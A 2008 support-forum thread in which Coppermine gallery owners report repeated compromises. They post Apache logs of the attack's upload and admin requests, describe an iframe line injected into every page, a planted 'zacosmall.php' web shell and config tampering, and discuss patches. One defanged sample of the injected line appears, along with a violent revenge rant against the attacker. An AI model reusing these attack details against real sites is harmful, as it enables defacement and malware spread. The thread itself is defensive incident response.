Same with me. I spent hours deleting and reloading files throughout my entire website. I changed passwords to FTP Coppermine admin, checked for unexpected members etc. I then upgradedd to 1.4.17 as instructed (it went fine) and low behold, the same thing happened all over again about 12 hours later. It looks like the same type of attack to me with the zip file being placed in a folder named 10001 in the userpics folder. Again all html and php files have the iframe code added. I really thought I had cleaned everything.
-
@ Joachim:- I followed your instructions to the letter. But my configuration settings have been changed again. I have attached two SQL dumps which show the changes made (I edited out my email address). Happened at 09:00 UTC. As a safety precaution, I am still denying the webserver write-access to any files at the moment, so no files have been altered - which means I can't tell you whether the upload issue is still affecting us or not. However, I studied my logs very carefully...
195.5.117.252 - - [12/Apr/2008:08:57:33 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30405 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:58:37 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 23507 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:58:40 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22292 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:58:45 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22244 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:58:48 +0100] "POST /coppermine/admin.php HTTP/1.1" 200 22779 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:57:34 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30405 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:58:51 +0100] "GET /coppermine/?ff=1 HTTP/1.1" 200 26233 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:58:56 +0100] "POST /coppermine/admin.php HTTP/1.1" 200 22779 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:59:01 +0100] "GET /coppermine/displayimage.php?album=lastup&cat=0&pos=0 HTTP/1.1" 200 42567 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:08:59:05 +0100] "GET /coppermine/ HTTP/1.1" 200 25783 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:04:57 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30405 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:02 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 23507 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:04 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22292 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:07 +0100] "POST /coppermine/admin.php HTTP/1.1" 200 22779 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:10 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22244 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:13 +0100] "GET /coppermine/displayimage.php?album=lastup&cat=0&pos=0 HTTP/1.1" 200 42566 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:05:00 +0100] "GET /coppermine/update.php HTTP/1.1" 200 30405 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:15 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 23507 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:18 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22292 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:22 +0100] "POST /coppermine/admin.php HTTP/1.1" 200 22779 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:25 +0100] "POST /coppermine/upload.php HTTP/1.1" 200 22244 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
195.5.117.252 - - [12/Apr/2008:10:06:27 +0100] "GET /coppermine/displayimage.php?album=lastup&cat=0&pos=0 HTTP/1.1" 200 42568 "-" "User-Agent: Opera/9.27 (Windows NT 5.2; U; ru)"
I suspect that the 1.4.17 patch only addresses one vulnerability. I think there may be another hack that involves update.php in some way. Note how each attack commences with a GET of update.php. Perhaps it's this that allows the attacker to alter the config settings. Also, I am slightly concerned that that a file that writes such significant changes to my database can be accessed by the world in the first place. Indeed, it seems you can visit any Coppermine-powered site and run their update.php with no permissions at all. Interestingly, the subject of deleting "update.php" was discussed a while ago:- http://coppermine-gallery.net/forum/index.php?topic=34169.0 I may try deleting mine if we are attacked again.
Anyway my site is http://www.garfnet.org.uk/coppermine and my server info is as follows:-
- Linux 2.6.18-6-686 #1 SMP Sun Feb 10 22:11:31 UTC 2008 i686 GNU/Linux
- Apache/2.2.3 Server built: Jan 27 2008 18:13:21
- mysql Ver 14.12 Distrib 5.0.32, for pc-linux-gnu (i486) using readline 5.2
- PHP 5.2.0-8+etch10 (cli) (built: Jan 18 2008 18:52:58) Zend Engine v2.2.0 with Suhosin v0.9.12
- Coppermine v1.4.17
,
Best wishes, G
-
Oops, I forgot to attach the SQL dumps. Sorry.
Best wishes, G
-
Oh dear! In the time it took me to post that report it seems we've been done again. Same MO. I am going to delete update.php, reload my old cpg_config values from the SQL dump and sit back and wait. I will report back with my findings.
Best wishes. G.
-
Maybe you need to look if the intruder didn't add any scripts to your site. I looked through my log files and found that "zacosmall.php" had been uploaded. It was used to change the files on my site. Upgrading will not help if there is such a script somewhere in your system.
-
My gallery was hacked again as well.
To restore it I had asked my host to restore an older backup before upgrading to 1.4.17, so there shouldn't have been any left over of the previous hack, unless the file was injected much earlier and is programmed to run at a specific time.
-
Maybe you need to look if the intruder didn't add any scripts to your site. I looked through my log files and found that "zacosmall.php" had been uploaded. It was used to change the files on my site. Upgrading will not help if there is such a script somewhere in your system.
Check in /plugins/ for this file. (File dated 2007)
-
I'm concerned about the mechanism that causes data to be written to the cpg_config table without my consent. The two SQL dumps indicate that the attacker is using the custom_header_path field in the cpg_config table in order to include the hacked script. As I see it, the most likely way to do this is is to exploit an existing script designed to write to the cpg_config table, namely update.php. Moreover, I feel that the log activity I posted earlier rather supports this hypothesis.
The encouraging news is that since I removed update.php, my cpg_config table has remained unaltered. But it is early days I suppose and I need to see a few more unsuccessful hack attempts in my Apache2 logs before I can say with any certainty. I'll take another look at my Apache2 logs in a few hours and report back.
Best wishes, G.
-
I don't see how update.php can be exploited - it doesn't take any user input. I think that's just used to find out what table name prefix you are using.
-
@ Nibbler:- Hmm. I guess with a highly systemic attack it is hard to determine exactly what does what. And your knowledge far outweighs mine. However (and I am guessing here) if this is an automated attack and if it cannot get the table prefix in order to write to the desired table, then the hack is pretty much stymied - albeit until the hacker works out another way to get the info he needs of course.
In any event, it seems to me that the fact the hacker can write to the database at all is of the greatest concern. We need to understand the mechanism the attacker has used to do this, don't you think?
Best wishes, G.
Ps My cpg_config still remains unaltered, I'm very glad to say. :)
-
This is a nightmare. I updated, so i thought a site that was hacked with this file a week ago. I updatde to 1.4.16 and guess what this morning, I am hit yet again.
-
Well, I had the same problem and just overhauled my gallery. Backed up everything, deleted everything except Albums, went through albums and replaced any html or php files (ended up only being index.html files), then re-uploaded the newest version (doing just the update didn't work for me).
For now, it is working: http://www.gloryofcreation.net (http://www.gloryofcreation.net)
-
nevermind. sorry. main gallery looked fine. individual albums aren't loading correct.
Think I'm just going to delete everything, upload my latest backup (Feb28th), and update to the newest.
-
I was hacked too, i modified all the files all works fine except that when they enters my site (via joomla).
Users who use IE still get the trojan.
I'm using firefox and it is fine.
I have a question,
did the database get hacked too or just the files?
-
one of my galleries was compromised also, slightly annoying but these things happen.
I am curious is 1.4.16 vunerible to the exploit - from what I have read I believe it is and that 1.4.17 contains the fix?
looking at the patch and changes to the upload code in http://forum.coppermine-gallery.net/index.php?topic=51787.0 it's a fix to stop an SQL injection from the part of the code that says "WHERE mime='$URI_MIME_type' - that much I think I understand
however, looking at the upload code, I do not understand how an attacker can get to this line of the code unless they have a login or permission to upload files, my coppermine galleries (prior to being compromised) were set to only allow logged in users to upload and the galleries were closed to new signups..
// Check to see if user can upload pictures. Quit with an error if he cannot.
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {
cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__);
}
how does attacker get to the injection line?
-
I have discovered that this is NOT something new.
The Trojan concerned (or one of them) - HARNIGz - was first reported as infecting PCs in July 2004 http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ%5FHARNIG%2EZ&VSect=T.
In May 2006, it was used to infect various servers by taking advantage of an exploit is the Invision BB script.
I discovered this info after a strange event caused me to do a Google search for loadadv598.
The strange event was this:
I was checking this thread when AVG popped up saying that a Trojan horse downloader had been found and cleaned in TempInternetFiles/ContentIE5/VHDO0E/loadadv598[1].exe. What was strange is that I was not using IE5, but Firefox - in fact IE5 has NEVER been on this particular laptop! So, I searched Google for loadadv598 and found that this thing has been around for a long time.
Not sure how that helps, except that it does mean there is info out there - for those who understand it - about this things modus operandi.
-
I was using 1.4.16 and got hacked too :(
ALL .html and .php files on every directory of my sites (>700 dirs/100+files) did have an extra line of iframe code attached.
Luckily all those files I have back ups from.
I uploaded all new 1.4.17 CPG files and manually restored my include/config.inc and ran the update.php
It seems everything is working fine again http://kuikens.com/pictures/
Hopefully this stinker didn't infect the dbase or other non static .html or .php stuff.
Too bad even running on the newest CPG update didn't protect me this time as I was infected 2,5 days before the 1.4.17 release.
-
For the very last time: stop the "me too" postings. Don't force me to lock this thread.
And for the very last time: upgrading alone will not sanitize a gallery that has already been infected. Therefor, you'll experience what you're refering to as re-infection.
-
Could you not post and straightforward guide to sanitisation (it's been mentioned numerous times by yourself but I've yet to see anything particularity clear as to how to do this in simple terms). Coppermine is used specifically because it's easy to install and use with limited understanding of the functionality behind it. It's hardly surprising that people are calling out for easy to understand help.
I get that you can run forums as you wish (by the looks of things most of the admins / mods have a similar attitude towards support) but it's flaws in your software which are killing sites across the internet (the fault allows for the spread outside of the coppermine gallery itself which makes it much worse). I've noticed Google is even beginning to flag an effected sites as malware infected if the hack is present when they crawl it, blocking connections (as do browsers like firefox which integrate threat warnings from stopbadware.org). I don't think it's too much to ask that a place be setup to provide support for the many effected users (and the only reason people are stepping to to provide suggest solutions is because of the lack of official, easy to understand responses).
-
This shit happened again with the only difference that this time the 142739_298w3 file is not present on the directory indicated /userpics/1001/142739_298w3.jpg. I'm the admin of my gallery and the only one that can upload. in any case I had URI upload enabled for the administrator and I've disabled it.
Let us all know of any patch to avoid this...
Thanks
I feel for you man, I got hit too. I spent most yesterday trying to figure out why antivirus programs were saying my site was trying to install a trojan. I finally caught sight of the cdpuvbhfzz reroute at the bottom of the screen. A Google search brought me here and to the answer to my problem. Over 100 php files infected with his iframe command.
I don't understand how these people get away with this. I mean look at all the information they have on the guy, http://whois.domaintools.com/cdpuvbhfzz.com (http://whois.domaintools.com/cdpuvbhfzz.com), and he owns 8 other domains! So why don't they go and arrest the little sick bastard? If it's because of money, I have the solution. Take everything he owns and sell it. Add to that any all money from banks and other holdings. Announce the total and sell raffle tickets. In order to win the raffle, you must be one of the pay per view customers that paid to watch his arrest live and then another pay per view event for the sentencing. If the sentencing were to be something like hanging them from their thumbs while being caned or hung by some other part of the anatomy while being caned, then tarred and feathered. After getting tarred and feathered they have to walk to jail ... and we can see it all live on pay per view! Man I would pay to see that! Maybe the pay per view people could be in a lotto to win free tickets to see it in person and participate in the tarring, feathering or caning. Now that's what I call Reality TV at it's finest!
-
Is there a simple set of instructions to follow?
If mods can't give answers, where else can we look for help?
-
And for the very last time: upgrading alone will not sanitize a gallery that has already been infected.
I read this topic over and over but what does sanitize it then?
I can't find it.
Could you not post and straightforward guide to sanitisation (it's been mentioned numerous times by yourself but I've yet to see anything particularity clear as to how to do this in simple terms). Coppermine is used specifically because it's easy to install and use with limited understanding of the functionality behind it. It's hardly surprising that people are calling out for easy to understand help.
I get that you can run forums as you wish (by the looks of things most of the admins / mods have a similar attitude towards support) but it's flaws in your software which are killing sites across the internet (the fault allows for the spread outside of the coppermine gallery itself which makes it much worse). I've noticed Google is even beginning to flag an effected sites as malware infected if the hack is present when they crawl it, blocking connections (as do browsers like firefox which integrate threat warnings from stopbadware.org). I don't think it's too much to ask that a place be setup to provide support for the many effected users (and the only reason people are stepping to to provide suggest solutions is because of the lack of official, easy to understand responses).
Ditto on this.
Loads of things written in this topic but no REAL solution yet.
-
Could you not post and straightforward guide to sanitisation (it's been mentioned numerous times by yourself but I've yet to see anything particularity clear as to how to do this in simple terms).
I'm currently working on such a guide. If you can't wait, come up with a newbie-proof explanation by your own ::).
However, I'm not inclined to post such instructions for people like you who are ungratefull of what you get for free. Yes, your site got infected by a jerk who ran an exploit against a vulnerability that existed in coppermine. The vulnerability has not been detected before, so it was not our reluctance to close a security hole that we already had been aware of that lead to the outbreak, as we haven't been aware of the vulnerability before. Coppermine has been created by humans, and humans make mistakes. The vulnerability has not been added on purpose. After all, we provide an application that you're free to use or not to use. It doesn't come with any warranties (see the license disclaimer!). Every piece of non-trivial software contains bugs. Sadly, this bug led to your site getting hacked. Yet there is no reason to acuse us. Acuse the jerk who hacked your site if you want (as pspmichael did), but don't blame us for your site getting hacked. It takes time to come up with cleaning instructions that everyone can follow - I have already posted the basic principles which should be enough for people who know their way around, so if you can't wait, hire a pro to get the sanitization done by him.
After all, it's beyond the scope of this support board to come up with such a sanitization instruction, yet I'm working on it because I can see the need for such instructions for newbies.
Bottom line: don't use pre-made applications that allow user input if you're afraid that incidents like that can happen. You could have made some precautions yourself by performing frequent backups, yet you probably haven't. If you have backups, just roll back your last known-good backup, close the vulnerability hole and you'll be good.
Stop wasting my time, forcing me to reply to such acusations like yours; I could spend the time better working on the instructions instead of having to reply to postings like yours.
For the very last time now: everybody stop replying to this thread with invalid remarks or I'll lock this thread and make sure that only users who haven't misbehaved will be able to see the instructions I'm working on. I mean it!
Joachim
-
Is there a simple set of instructions to follow?
If mods can't give answers, where else can we look for help?
I already explained that you mustn't ask the same question over, neither on this thread nor in any other thread. You mustn't post new threads to avoid what I said above. I merged your thread with the one that already exists. Patience, grasshopper.
-
However, I'm not inclined to post such instructions for people like you who are ungratefull of what you get for free.
I don't think anyone is ungrateful for what they get for free. Certainly, I will be the first to say that, without Coppermine, we could not have built up a much applauded gallery, with over 55K images that have been viewed over 5 million times and we have recommended the script to many people.
At the moment, it is not being viewed by anyone as we have disabled access. This is because all our IT people - host, webmaster, security advisor - are convinced that we were genuinely re-infected AFTER disabling our only URI upload. Given the server log entries and the efforts made using scripts and manual inspection to ensure that "sanitisation" was complete, we do not believe this was merely a "so-called" re-infection, but a very real one.
What concerns me is that, since you are working on "sanitisation" instructions, you must believe that the patch has solved the problem, whereas we agree with mr goose, who posted "I suspect that the 1.4.17 patch only addresses one vulnerability."
-
Indeed people, stop pushing them and give them the time to come up with a workaround of the issue. Unless you have hard evidences that the new patch does not work, I also think you should not post here.
About recovering your galleries, you can also ask your host to assist you. For example, I host my gallery at SiteGround (http://www.siteground.com/) (hope I am not breaking any rules by mentioning them) and once I reported the issue to them, they immediately cleaned my entire hosting account from the malicious code and upgraded my gallery. And this for about 5-10 minutes. They also informed me that are working on a global resolution, which will prevent this issue from happening again on server level and it will be applied in a day or less.
I am sure that there is a simple shell command that you can think of to clean up your infected files, by using perl or sed.
Oflus
-
I am sure that there is a simple shell command that you can think of to clean up your infected files, by using perl or sed.
Wonderful!!
Has it not occurred to you that most people with Coppermine galleries will not have a clue what you mean by "simple shell command", much less how to use one?
I am sure this will earn me a greater negative Karma rating, in the Gau Gau system, and almost certainly - a ban, but I dont care one bit. I have thought a great deal, over the last few days, before posting this and have decided to do so, not for my personal benefit, but for that of others.
My principle reason for posting is because several people most of whom we do not know have asked us Do you think the latest loadadv598 attack could be a deliberate attempt to destroy Coppermine, because of the contempt with which the authors treat people?
There is IMO a fundamental flaw in the concept of Coppermine support, in that my idea of support seems to be very different from what happens on this forum, which is from my own perception and those of the people who have contacted us a place where fear reigns, among those seeking support, created by a you will do as I say, or else attitude among those who are supposed to be providing that support.
I dont pretend to fully understand karma, in any real Indian religion sense, but I believe in it and realise that I always tried to live by its concept, even before I had ever heard the word.
In my book, someone with positive karma is a good person, someone who is totally loyal to friends, supportive of acquaintances and tries to be kind to others who cross his/her path. In other words, you do unto others as you would have others do unto you and, if what you do is positive then your karma or whatever you, personally, call it will be positive. On the other hand, if what you do to others belittles them and is cruel to them, your karma will be negative.
As I see it, positive karma is not something you get for answering questions on a forum and I consider it arrogance for any human being to believe that THEY have any right to designate anyones karma, by a process of clicks delivered by one man and his sycophants.
Let me tell everyone here why my karma on this forum is -5. Not long after we installed Coppermine, I was informed, by GauGau, that I had been banned for having removed the Coppermine link from the bottom of my Gallery. I was furious, because I had done no such thing, so I registered under another name and informed GauGau that I had not done this and, indeed, would not (in those days) have had a clue how to; something that should have been obvious to him from the very basic nature of the questions I had been asking. The result was that he admitted that he had made a mistake, because he had been viewing our Rainy Day template in bright sunshine and couldnt see the Coppermine link. Did I get an apology from him? No! Instead I got the ban lifted and that -5 karma. In my book, GauGau was the one who earned negative karma for his false accusation, not me for defending myself and pointing out that his accusation was false.
The reaction to this saga of the loadadv598 trojan is IMO typical of where this so called support forum falls apart.
April 6 Htgguy reported the problem. He was immediately given the standard Upgrade and Instructions are in manual stuff.
April 7 GauGau was suggesting that people were jumping to conclusions and this was not just a Coppermine exploit.
April 8 GauGau was still telling people to upgrade and upgrade other apps.
April 9 GauGau posted Most replies on this thread (except the report by mr.goose) are invalid. Please don't PM me. Instead, read up what I suggested in this thread and post your report. Everyone who has been running an older version than cpg1.4.16 when he/she got infected should try to fix this on his own and not reply here. Keep this thread clean with only valid postings.
April 9 5 ½ hours after that GauGau post, Nibbler had figured out one exploit.
So, it took 3 days before any serious reaction to a major hack occurred!! The only reason for that delay, as far as I can see, is that the majority of Coppermine users have no sense of being in a supportive atmosphere, but are terrified that reporting their concerns will result in a ban that might make it hard for them to continue to operate their Coppermine gallery. GauGaus last post on this thread illustrates this perfectly. I'll lock this thread and make sure that only users who haven't misbehaved will be able to see the instructions I'm working on. I mean it!
Recognising that those affected by this hack needed to talk, but recognising equally that those who were trying to solve the problem should not be bothered by such distractions, I tried to help all concerned by starting a self help thread. GauGau locked it. Why? Can he not see that those of us who are affected, whether it is people like us with a huge gallery, or an individual who is proud of his/her personal gallery, need to feel that they are not alone?
-
I should add that my main motive for posting the above is simply because I, like mr goose, DO NOT believe the latest patch has entirely addressed this problem and I would like to feel that those who might have useful info to contribute, but are afraid to do so, could be encouraged to come forward.
-
The latest patch indeed does not fix the problem - it fixes a different problem, one which this latest attack does not actually exploit. There will be a new release soon that will address the current issue, as a result of information provided to us by a webhost sysadmin that actually has the skills needed to investigate the problem properly.
Coppermine will not be brought down by hackers, but by people like you dragging down developer morale until we all give up.
-
The latest patch indeed does not fix the problem - it fixes a different problem, one which this latest attack does not actually exploit. There will be a new release soon that will address the current issue, as a result of information provided to us by a webhost sysadmin that actually has the skills needed to investigate the problem properly.
Coppermine will not be brought down by hackers, but by people like you dragging down developer morale until we all give up.
This is excellent news. I hope I'm not adding to thread-clutter by saying this (if so please delete this reply and forgive me), but I really appreciate the work you guys do. I felt a bit sickened when I read marian's response -- not sure why someone would treat people who volunteer to create a great product and also attempt to support it for free, like that. The implication that nobody cared about the problem for three days was especially sickening... I guess people like him don't understand software security -- that cannot be too transparent until a specific problem is identified and a fix has been confirmed...
Anyway I for one, and surely countless others like me, really appreciate all the hard work you guys do.
-Tim
-
Coppermine will not be brought down by hackers, but by people like you dragging down developer morale until we all give up.
No Nibbler, Coppermine will not be brought down by people dragging down developer morale until we all give up, but by this forum dragging down Coppermine enthusiast morale, because they are treated like shit.
Being a major website with a big CPG, our Gallery Editor has had many emails saying I know you have a very big Coppermine Gallery so you must be an expert and I hope you can help me
What follows varies, according to the problem, but is along the lines of Before contacting you, Ive tried to find the answer by searching the Coppermine forum and couldnt. Seeing responses to other novice questions, I dont feel I can post my question on the forum, so I hope you can tell me what to do.
-
Oh, you mean the same way you treated 'oflus' back there? Who just made his first post, was being helpful and you jumped down his throat?
If you don't like the support here then stick around, answer questions, and show us how it's done.
-
Oh, you mean the same way you treated 'oflus' back there? Who just made his first post, was being helpful and you jumped down his throat?
How was oflus' remark "I am sure that there is a simple shell command that you can think of to clean up your infected files, by using perl or sed." helpful, when the majority of Coppermine users do not understand the terms shell command, perl and sed?
I am a huge Coppermine - ie the way the Gallery works - fan; I appreciate the work that has been put into developing it; that does not alter the fact that I think the way the forum operates is counter productive to producing any sense of loyalty/community in Coppermine users.
-
Just because you don't understand it doesn't mean someone won't find it helpful. If you were prepared to actually learn such tools you could clean up an entire server in just a few minutes.
You can't change anything by complaining. Stick around and provide the support you wish to see.
-
I have a lot of respect for the mods here, who I'm sure are stressed out and work their ass off to get things solved asap.
But until the next patch comes out, is there anything users with a cleaned 1.4.17 can do to avoid getting hacked again?
Like temporary deleting some of the files in the CPG directory that are only needed to perform admin tools, but not when viewing the gallery?
-
How long will it be until the new version? The 'hacker' changed my settings again despite having 1.7 and there were no backdoors or anything. I checked the IP of whoever was doing it and it was someone from Russia w/ the IP: 91.76.173.220 and after researching, it was the domain: mtu.ru
Thank you for providing a wonderful service and all your hard work.
-
Folks - just wanted to say that I spent a few hours this afternoon with a close family friend who is in his last few weeks of life - he has terminal lung cancer. Suddenly, any worries I might have over cpg vulnerability were put into perspective!
-
Just because you don't understand it doesn't mean someone won't find it helpful. If you were prepared to actually learn such tools you could clean up an entire server in just a few minutes.
You can't change anything by complaining. Stick around and provide the support you wish to see.
You misundertand me Nibbler. I understood perfectly and our web people are experts in the use of such tools. Because I and other associated with our site understood, our site WAS cleaned up in a few minutes, which is why we were so certain that the exploit that mod 17 addressed was NOT the problem. What I was pointing out was that the vast majority of coppermine users are not pros like me.
-
How long will it be until the new version? The 'hacker' changed my settings again despite having 1.7 and there were no backdoors or anything. I checked the IP of whoever was doing it and it was someone from Russia w/ the IP: 91.76.173.220 and after researching, it was the domain: mtu.ru
Thank you for providing a wonderful service and all your hard work.
As I suggested in an earlier post, deleting update.php seems to "break" the hack. It looks at update.php before posting data to your cpgxxx_gonfig table. I think it uses this to determine the table prefix as Nibbler suggested earlier. Without this info, the hack seems unable to proceed. I have been hack free since doing this. http://www.garfnet.org.uk/coppermine
Best wishes, G
-
The release will be whenever GauGau finds time to put it together, it takes quite some time and effort.
Until then, you can replace your copy of bridge/coppermine.inc.php with the fixed copy in svn, here (http://coppermine.svn.sourceforge.net/viewvc/*checkout*/coppermine/trunk/cpg1.4.x/bridge/coppermine.inc.php?revision=4381).
-
The release will be whenever GauGau finds time to put it together, it takes quite some time and effort.
Until then, you can replace your copy of bridge/coppermine.inc.php with the fixed copy in svn, here (http://coppermine.svn.sourceforge.net/viewvc/*checkout*/coppermine/trunk/cpg1.4.x/bridge/coppermine.inc.php?revision=4381).
Thanks for that. Getting it now.
Meantime, what's the current thinking about leaving update.php accessible? I know the security boys at Waraxe seem to think its a bad idea. http://www.waraxe.us/advisory-66.html
What would you advise?
Best wishes, G
-
It's admin only as of 1.5
-
I have a gallery that was NOT hacked and these are the steps I took to secure it:
1. Disabled uploads server wide via php.conf
2. Disabled user group uploads
3. Upgraded the gallery to version 1.4.17
4. Changed all passwords including FTP, admin and database
But my gallery was hacked today. Is there any information available for this new vulnerability so we can start patching until a new version comes out?
-
Fortunately, my install has not gotten hacked, but I want to take whatever measures are needed to protect my users.
So then, would it be correct to summarize the temporary fixes (until the next patch) to keep from getting infected as follows:
delete update.php from server
delete upload.php from server
delete bridge/coppermine.inc.php from server
If there are any other files to be deleted, please quote my reply and add them. If my list is incorrect, or there is another procedure, please let me know.
Thanks.
-
Deleting bridge/coppermine.inc.php doesn't make sense.
If you are not bridged you will bring down your gallery.
If you are bridged then you are not vulnerable there to begin with.
Deleting update.php is reasonable, deleting upload.php is reasonable if you don't use http/uri uploads.
-
Seems one could alternatively:-
- delete update.php,
- patch upload.php by upgrading to 1.4.17, which means users can still upload things,
- patch bridge/coppermine.inc.php with the fixed copy in svn, as described by Nibbler a couple of posts ago .
At least, that's what we have done.
Best wishes, G.
-
Sorry Nibbler - seems our posts crossed. Does the above make sense?
Best wishes, G
-
Yes, that's fine.
-
Deleting bridge/coppermine.inc.php doesn't make sense.
If you are not bridged you will bring down your gallery.
If you are bridged then you are not vulnerable there to begin with.
Deleting update.php is reasonable, deleting upload.php is reasonable if you don't use http/uri uploads.
Thanks for that info Nibbler. Very helpful.
What versions of cpg is the version of 'bridge/coppermine.inc.php' that you referenced in your link compatible with?
Or alternatively, since I am not using bridging, is there a way to turn it off completely, and delete the entire bridge folder?
-
My site has been hacked and I have been watching this thread in the hope of finding a resolution.
I have no idea of the history behind Marians post.
But I support her sentiments regarding the attitude of moderators.
I appreciate any work done by volunteers.
I happen to run my Coppermine site for Mature Coppermine users.
I spend a great deal of my time (for free) explaining to less knowledgable users the intracicies of using the software.
I get asked the same (some might think stupid) questions again and again.
But I would never even think of talking to them the way moderators talk on this support forum.
Not just on this 'stressed' thread but normally.
The power seems to have infected them.
A scared to post (up until now) coppermine user..
-
Joachim,
I hope this information is helpful to you. If not, maybe it will be to someone else.
On my site I was running the previous version of Coppermine. When I went to cPanel to see what it showed, it had a warning that I needed to upgrade my Coppermine, I was down by 1 upgrade. Since I wasn't sure whether that would help or not, I held off.
Long story short, none of my Coppermine files were touched. However every php and html file for my WebCalender were infected with the iframe statement. Since my calendar is easily rebuilt, I simply removed it from my site, did the upgrade to Coppermine and then reinstalled the calender. I haven't had a problem since.
Now that I was up and running again, I thought I would check out what exactly happened. The files that were infected simply had an added line, an iframe statement to the bottom of each file. It was easy enough to go through and edit the 200 plus files, just tedious. I'm not sure how to safely put this in here, so I removed the command brackets, some spaces, backslashes and put a period between each number. That might be over kill but I would rather overkill than risk it happening here. The line I had in my files was an iframe command, something I'm not at all familiar with. This is the line without the items I mentioned and with all the periods I mentioned:
php/echo 'iframesrc=".0.4;.1.6;.1.6;.1.2;.8;.7;.7;	.9;.0.0;.1.2;.1.7;.1.8;	.8;.0.4;.0.2;.2.2;.2.2;.6;	.9;.1.1;.0.9;.7;.0.0;.0.8;.7;	.7;.0.0;.1.8;.3;.7;.6;.6;.1.2;.0.4;.1.2;" width=1 height=1 iframe>';
Michael
I hope this helps someone else to get out of the problem this brought on. And I hope some how the person who did this is repaid 10 fold for what he did.
-
Or alternatively, since I am not using bridging, is there a way to turn it off completely, and delete the entire bridge folder?
If you're not using bridging then you are not vulnerable. That file is not used when bridged. You can't delete the bridge folder since standalone Coppermine is just another type of bridge as far as the code is concerned.
-
If you're not using bridging then you are not vulnerable. That file is not used when bridged. You can't delete the bridge folder since standalone Coppermine is just another type of bridge as far as the code is concerned.
Sorry Nibbler. I read and re-read this many times. It just doesn't make sense to me. OK. If I am not using bridging then I am not vulnerable. But if Coppermine is just another type of bridge as far as the code is concerned and I am using Coppermine then ipso facto I am using bridging. Therefore I am vulnerable. Aren't I?
Also, has the Dev Team figured out how the bad guys are changing the cpg_config database table in the first place? That part really scares me.
Best wishes, G
-
OK, maybe that wasn't as clear as it could have been. All galleries use udb_base.inc.php plus the bridge file for that app. If you use standalone Coppermine that means udb_base.inc.php + coppermine.inc.php. If you use phpbb then it's udb_base.inc.php + phpbbxxx.inc.php. If you didn't go through the bridge manager then you use the 'coppermine' bridge. It's confusing but a good idea as far as the code goes (polymorphism). So if you bridge to some forum or CMS you don't use coppermine.inc.php atall.
The exploit allows the attacker to gain admin privileges, so anything goes.
-
The release will be whenever GauGau finds time to put it together, it takes quite some time and effort.
Until then, you can replace your copy of bridge/coppermine.inc.php with the fixed copy in svn, here (http://coppermine.svn.sourceforge.net/viewvc/*checkout*/coppermine/trunk/cpg1.4.x/bridge/coppermine.inc.php?revision=4381).
This copy of /bridge/coppermine.inc.php breaks all of my stand alone and modded by stramm versions of CPG 1.4.17. The errors I receive are:
For displayimage.php:
There was an error while processing a database query
And when loggin in as admin, the entire gallery goes down with the error:
Fatal Error:
-
I expect Stramm will provide an updated version once 1.4.18 is released.
-
I expect Stramm will provide an updated version once 1.4.18 is released.
The errors are present on my none modded, stand alone galleries as well. Has anyone been successful is using this new 1.4.18 /bridge/coppermine.inc.php file?
-
OK, maybe that wasn't as clear as it could have been. All galleries use udb_base.inc.php plus the bridge file for that app. If you use standalone Coppermine that means udb_base.inc.php + coppermine.inc.php. If you use phpbb then it's udb_base.inc.php + phpbbxxx.inc.php. If you didn't go through the bridge manager then you use the 'coppermine' bridge. It's confusing but a good idea as far as the code goes (polymorphism). So if you bridge to some forum or CMS you don't use coppermine.inc.php atall.
The exploit allows the attacker to gain admin privileges, so anything goes.
Hi Nibbler-
Thanks for providing us with this info, but I am still unclear - so if I am not bridging to another app, and am running coppermine standalone, then I AM vulnerable?
